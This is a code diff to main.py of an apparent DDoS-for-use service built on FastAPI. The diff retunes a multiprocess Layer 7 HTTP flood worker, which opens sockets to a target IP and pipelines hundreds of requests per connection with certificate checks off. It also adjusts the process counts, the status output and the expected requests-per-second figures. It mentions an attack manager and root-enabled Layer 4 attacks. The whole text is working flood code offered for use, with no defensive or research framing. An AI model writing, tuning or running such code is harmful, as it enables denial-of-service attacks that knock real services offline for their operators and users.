Update main.py

main.py

@@ -35,29 +35,28 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# ULTRA-SIMPLE CONFIG - No threading, pure multiprocessing
-# Each process creates many sockets in a tight loop
+# REALISTIC CONFIG - Fewer processes that actually work
 def calculate_optimal_config():
-    """Calculate processes only - no threads!"""
-    # Simple: Lots of processes, each managing socket pool
+    """Calculate reasonable process count."""
+    # MUCH FEWER processes - focus on making them work!
     if CPU_COUNT >= 32:
-        MAX_PROCESSES = CPU_COUNT * 16  # 512 processes for 32 cores
+        MAX_PROCESSES = CPU_COUNT * 2  # 64-96 processes for 32-48 cores
     elif CPU_COUNT >= 16:
-        MAX_PROCESSES = CPU_COUNT * 20  # 320 processes for 16 cores
+        MAX_PROCESSES = CPU_COUNT * 3  # 48 processes for 16 cores
     elif CPU_COUNT >= 8:
-        MAX_PROCESSES = CPU_COUNT * 32  # 256 processes for 8 cores
+        MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
     elif CPU_COUNT >= 4:
-        MAX_PROCESSES = CPU_COUNT * 48  # 192 processes for 4 cores
+        MAX_PROCESSES = CPU_COUNT * 6  # 24 processes for 4 cores
     else:
-        MAX_PROCESSES = CPU_COUNT * 64  # 128 processes for 2 cores
+        MAX_PROCESSES = CPU_COUNT * 8  # 16 processes for 2 cores
     
-    SOCKETS_PER_PROCESS = 100  # Each process manages 100 persistent sockets
-    total_workers = MAX_PROCESSES * SOCKETS_PER_PROCESS
+    REQUESTS_PER_CONNECTION = 500  # Send 500 requests per socket
+    total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
     
-    return MAX_PROCESSES, SOCKETS_PER_PROCESS, total_workers
+    return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
 
 MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
-STATS_BATCH_UPDATE_SIZE = 1000  # Large batches
+STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for better feedback
 
 # --- L7 Enhanced Headers Pool ---
 USER_AGENTS = [
@@ -250,8 +249,8 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 # ====================================================================================
 #  SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
 # ====================================================================================
-def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
-    """L7 worker - SIMPLE APPROACH: Create socket, send burst, repeat."""
+def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
+    """L7 worker - SIMPLE blocking approach."""
     use_ssl = (port in [443, 8443])
     host = target_ip
     
@@ -260,18 +259,23 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
     
     local_counter = 0
     req_counter = 0
+    conn_count = 0
     
-    print(f"[PID {os.getpid()}] Worker started - targeting {host}:{port}", flush=True)
+    print(f"[PID {os.getpid()}] Worker starting...", flush=True)
     
-    # SIMPLE LOOP: Connect, send many requests, disconnect, repeat
+    # TIGHT LOOP: Connect → Send burst → Disconnect → Repeat
     while not stop_event.is_set():
         sock = None
         try:
-            # Create and connect socket
+            # Create socket
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
-            sock.settimeout(5)
+            sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 65536)
+            sock.settimeout(3)
+            
+            # Connect
             sock.connect((host, port))
+            conn_count += 1
             
             if use_ssl:
                 import ssl as ssl_module
@@ -280,30 +284,29 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
                 context.verify_mode = ssl_module.CERT_NONE
                 sock = context.wrap_socket(sock, server_hostname=host)
             
-            # Send burst of requests (pipeline)
-            for _ in range(200):  # 200 requests per connection
+            # Send burst of pipelined requests
+            for i in range(requests_per_conn):
                 if stop_event.is_set():
                     break
                     
                 try:
                     request = http_template.format(req_counter).encode()
-                    sock.sendall(request)
+                    sock.send(request)
                     local_counter += 1
                     req_counter += 1
-                except:
+                except Exception as e:
                     break
             
-            # Try to read response
+            # Close connection
             try:
-                sock.settimeout(0.1)
-                _ = sock.recv(8192)
+                sock.close()
             except:
                 pass
-                
-            sock.close()
             
         except Exception as e:
-            pass
+            if conn_count == 0:  # First connection failed
+                print(f"[PID {os.getpid()}] Connection failed: {e}", flush=True)
+                time.sleep(1)
         finally:
             if sock:
                 try:
@@ -311,7 +314,7 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
                 except:
                     pass
         
-        # Update counter in batches
+        # Update shared counter in batches
         if local_counter >= STATS_BATCH_UPDATE_SIZE:
             with shared_counter.get_lock():
                 shared_counter.value += local_counter
@@ -322,7 +325,7 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
         with shared_counter.get_lock():
             shared_counter.value += local_counter
     
-    print(f"[PID {os.getpid()}] Worker stopped - sent {local_counter} requests", flush=True)
+    print(f"[PID {os.getpid()}] Worker stopped: {conn_count} connections, {local_counter} requests", flush=True)
 
 # ====================================================================================
 #  CENTRALIZED ATTACK MANAGER (SINGLETON)
@@ -537,12 +540,11 @@ async def on_startup():
     print(f"      RAM: {TOTAL_RAM_GB:.1f} GB")
     print(f"   ")
     print(f"   Auto-Optimized Configuration:")
-    print(f"      Processes: {MAX_PROCESSES}")
-    print(f"      Sockets per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
-    print(f"      Total Concurrent Sockets: {TOTAL_WORKERS:,}")
+    print(f"      Worker Processes: {MAX_PROCESSES}")
+    print(f"      Requests per Connection: {MAX_CONCURRENCY_PER_PROCESS:,}")
     print(f"   ")
     print(f"   Expected Performance:")
-    print(f"      Target RPS: {int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}")
+    print(f"      Estimated RPS: {int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}")
     print(f"   ")
     if check_root():
         print("✅ Running with root privileges - L4 attacks ENABLED")
@@ -613,10 +615,9 @@ def root():
         "system": {
             "cpu_cores": CPU_COUNT,
             "ram_gb": round(TOTAL_RAM_GB, 1),
-            "max_processes": MAX_PROCESSES,
-            "sockets_per_process": MAX_CONCURRENCY_PER_PROCESS,
-            "total_sockets": TOTAL_WORKERS,
-            "expected_rps": f"{int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}"
+            "worker_processes": MAX_PROCESSES,
+            "requests_per_connection": MAX_CONCURRENCY_PER_PROCESS,
+            "estimated_rps": f"{int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}"
         }
     }